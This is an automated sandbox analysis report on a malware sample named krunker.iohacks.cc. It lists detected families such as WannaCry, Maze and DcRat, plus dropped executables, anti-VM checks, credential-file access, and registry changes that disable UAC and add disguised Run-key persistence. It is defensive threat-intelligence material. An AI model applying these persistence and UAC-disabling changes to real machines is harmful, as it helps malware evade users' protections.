Malware Analysis Report

2024-09-22 14:32

Sample ID 240110-ax5dyaaecn
Target krunker.iohacks.cc
SHA256 892f11af94dea87bc8a85acdb092c74541b0ab63c8fcc1823ba7987c82c6e9ba
Tags
dcrat hawkeye maze neshta ramnit rhadamanthys troldesh wannacry banker discovery evasion infostealer keylogger persistence ransomware rat spyware stealer trojan upx worm cerber zgrat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

892f11af94dea87bc8a85acdb092c74541b0ab63c8fcc1823ba7987c82c6e9ba

Threat Level: Known bad

The file krunker.iohacks.cc was found to be: Known bad.

Malicious Activity Summary

dcrat hawkeye maze neshta ramnit rhadamanthys troldesh wannacry banker discovery evasion infostealer keylogger persistence ransomware rat spyware stealer trojan upx worm cerber zgrat

HawkEye

UAC bypass

Troldesh, Shade, Encoder.858

Rhadamanthys

Neshta

DcRat

ZGRat

Suspicious use of NtCreateUserProcessOtherParentProcess

Detect Neshta payload

Wannacry

Detect ZGRat V1

Cerber

Ramnit

Process spawned unexpected child process

Maze

NirSoft WebBrowserPassView

Deletes shadow copies

NirSoft MailPassView

Renames multiple (67) files with added filename extension

Looks for VirtualBox Guest Additions in registry

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Enumerates VirtualBox registry keys

DCRat payload

Nirsoft

Contacts a large (1129) amount of remote hosts

Looks for VMWare Tools registry key

Downloads MZ/PE file

Contacts a large (551) amount of remote hosts

Modifies Windows Firewall

Stops running service(s)

Blocklisted process makes network request

Checks BIOS information in registry

UPX packed file

Uses the VBS compiler for execution

Loads dropped DLL

Executes dropped EXE

Checks computer location settings

Drops startup file

Modifies system executable filetype association

Reads user/profile data of web browsers

Modifies file permissions

.NET Reactor proctector

Checks whether UAC is enabled

Legitimate hosting services abused for malware hosting/C2

Looks up external IP address via web service

Adds Run key to start application

Enumerates connected drives

Suspicious use of SetThreadContext

Sets desktop wallpaper using registry

Checks system information in the registry

Drops autorun.inf file

Drops file in System32 directory

Drops file in Windows directory

Drops file in Program Files directory

Launches sc.exe

Checks for VirtualBox DLLs, possible anti-VM trick

Program crash

Unsigned PE

Enumerates physical storage devices

Office loads VBA resources, possible macro or embedded object present

Kills process with taskkill

Script User-Agent

Uses Volume Shadow Copy service COM API

Suspicious use of FindShellTrayWindow

Interacts with shadow copies

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Creates scheduled task(s)

System policy modification

Uses Task Scheduler COM API

Opens file in notepad (likely ransom note)

Detects videocard installed

Views/modifies file attributes

Delays execution with timeout.exe

Suspicious use of UnmapMainImage

Modifies registry class

Modifies Internet Explorer settings

Modifies system certificate store

Runs ping.exe

Suspicious use of SetWindowsHookEx

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of AdjustPrivilegeToken

Checks SCSI registry key(s)

Modifies registry key

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-01-10 00:36

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-01-10 00:36

Reported

2024-01-10 00:39

Platform

win7-20231129-en

Max time kernel

39s

Max time network

151s

Command Line

C:\Windows\Explorer.EXE

Signatures

DcRat

rat infostealer dcrat

Detect Neshta payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

HawkEye

keylogger trojan stealer spyware hawkeye

Maze

trojan ransomware maze

Neshta

persistence spyware neshta

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe

Ramnit

trojan spyware stealer worm banker ramnit

Rhadamanthys

stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 668 created 1352 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\movie.exe C:\Windows\Explorer.EXE

Troldesh, Shade, Encoder.858

ransomware trojan troldesh

UAC bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\Desktop\6.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\Desktop\6.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Documents and Settings\spoolsv.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Documents and Settings\spoolsv.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Documents and Settings\spoolsv.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\Desktop\6.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\Desktop\6.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\Desktop\6.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\Desktop\6.exe N/A

Wannacry

ransomware worm wannacry

DCRat payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Deletes shadow copies

ransomware

Enumerates VirtualBox registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest C:\Users\Admin\Desktop\8.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse C:\Users\Admin\Desktop\8.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxService C:\Users\Admin\Desktop\8.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF C:\Users\Admin\Desktop\8.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxVideo C:\Users\Admin\Desktop\8.exe N/A

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\Desktop\8.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__ C:\Users\Admin\Desktop\8.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__ C:\Users\Admin\Desktop\8.exe N/A

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Users\Admin\Desktop\8.exe N/A

NirSoft MailPassView

Description Indicator Process Target
N/A N/A N/A N/A

NirSoft WebBrowserPassView

Description Indicator Process Target
N/A N/A N/A N/A

Nirsoft

Description Indicator Process Target
N/A N/A N/A N/A

Renames multiple (67) files with added filename extension

ransomware

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

Contacts a large (1129) amount of remote hosts

discovery

Downloads MZ/PE file

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Users\Admin\Desktop\8.exe N/A

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate C:\Users\Admin\Desktop\8.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\Desktop\8.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\Desktop\8.exe N/A

Drops startup file

Description Indicator Process Target
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD2337.tmp C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\users\admin\appdata\roaming\microsoft\word\startup\ C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\4363463463464363463463463.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe N/A
N/A N/A C:\Users\Admin\Desktop\1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-Q9R29.tmp\ska2pwej.aeh.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-FNLFQ.tmp\x2s443bc.cs1.tmp N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Users\Admin\Desktop\10.exe N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Users\Admin\AppData\Local\TEMPEX~1.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\TEMPSP~1.EXE N/A
N/A N/A C:\Users\Admin\Desktop\7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected] N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Users\Admin\AppData\Local\TEMPEX~1Srv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\TEMPEX~1SrvSrv.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\DesktopLayer.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\DesktopLayerSrv.exe N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\movie.exe N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\dart.exe N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\INSTAL~1.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe N/A
N/A N/A C:\Windows\system32\DllHost.exe N/A
N/A N/A C:\Users\Admin\Desktop\5.exe N/A
N/A N/A C:\Users\Admin\Desktop\6.exe N/A
N/A N/A C:\Users\Admin\Desktop\7.exe N/A
N/A N/A C:\Users\Admin\Desktop\8.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskdl.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskdl.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected] N/A
N/A N/A C:\Users\Admin\Desktop\6.exe N/A
N/A N/A C:\Documents and Settings\spoolsv.exe N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\PROGRA~3\system.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
N/A N/A C:\Windows\SysWOW64\cscript.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Users\Admin\AppData\Local\TEMPEX~1.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\TEMPEX~1Srv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\TEMPEX~1Srv.exe N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Program Files (x86)\Microsoft\DesktopLayer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Windows\svchost.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\INSTAL~1.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\INSTAL~1.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\INSTAL~1.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A

Modifies system executable filetype association

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*" C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Uses the VBS compiler for execution

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Client Server Runtime Subsystem = "\"C:\\ProgramData\\Windows\\csrss.exe\"" C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Windows\CurrentVersion\Run\ Ransomware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3582-490\\bot.exe" C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update = "C:\\Users\\Admin\\AppData\\Roaming\\WindowsUpdate.exe" C:\Users\Admin\Desktop\7.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\PerfLogs\\Admin\\WmiPrvSE.exe\"" C:\Users\Admin\Desktop\6.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsm = "\"C:\\Windows\\System32\\kstvtune\\lsm.exe\"" C:\Users\Admin\Desktop\6.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Documents and Settings\\spoolsv.exe\"" C:\Users\Admin\Desktop\6.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\Windows\\system\\explorer.exe\"" C:\Users\Admin\Desktop\6.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WINWORD = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSOCFU\\WINWORD.exe\"" C:\Users\Admin\Desktop\6.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\Windows\\System32\\C_28593\\sppsvc.exe\"" C:\Users\Admin\Desktop\6.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\fqyxddakcrpkv608 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\RarSFX0\\tasksche.exe\"" C:\Windows\SysWOW64\reg.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VSSVC = "\"C:\\Windows\\System32\\sppuinotify\\VSSVC.exe\"" C:\Users\Admin\Desktop\6.exe N/A

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\Desktop\6.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\Desktop\6.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Documents and Settings\spoolsv.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Documents and Settings\spoolsv.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\Desktop\5.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\Desktop\6.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\Desktop\6.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\m: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\n: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\p: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\w: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\g: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\k: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\o: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\q: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\r: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\y: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\e: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\h: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\i: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\l: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\t: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\a: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\b: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\u: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\v: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\x: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\z: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\j: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened (read-only) \??\s: C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A

Legitimate hosting services abused for malware hosting/C2

Looks up external IP address via web service

Description Indicator Process Target
N/A whatismyipaddress.com N/A N/A
N/A whatismyipaddress.com N/A N/A
N/A whatismyipaddress.com N/A N/A

Checks system information in the registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer C:\Users\Admin\Desktop\8.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName C:\Users\Admin\Desktop\8.exe N/A

Drops autorun.inf file

Description Indicator Process Target
File created C:\autorun.inf C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
File opened for modification C:\autorun.inf C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
File created F:\autorun.inf C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
File opened for modification F:\autorun.inf C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\microsoft\outlook C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\the bat! C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\thunderbird C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File created C:\Windows\System32\sppuinotify\59791dedea0f7b368ce35d2c1e2a738d66dd1c8e C:\Users\Admin\Desktop\6.exe N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\bitcoin C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\microsoft\office C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\microsoft\excel C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\microsoft\powerpoint C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\outlook C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\word C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\microsoft sql server C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\microsoft sql server C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\microsoft\word C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\local\microsoft\word C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\onenote C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\steam C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\microsoft\office C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File opened for modification \??\c:\windows\SysWOW64\config\systemprofile\appdata\roaming\microsoft\powerpoint C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
File created C:\Windows\System32\C_28593\sppsvc.exe C:\Users\Admin\Desktop\6.exe N/A
File created C:\Windows\System32\C_28593\0a1fd5f707cd16ea89afd3d6db52b2da58214a6c C:\Users\Admin\Desktop\6.exe N/A
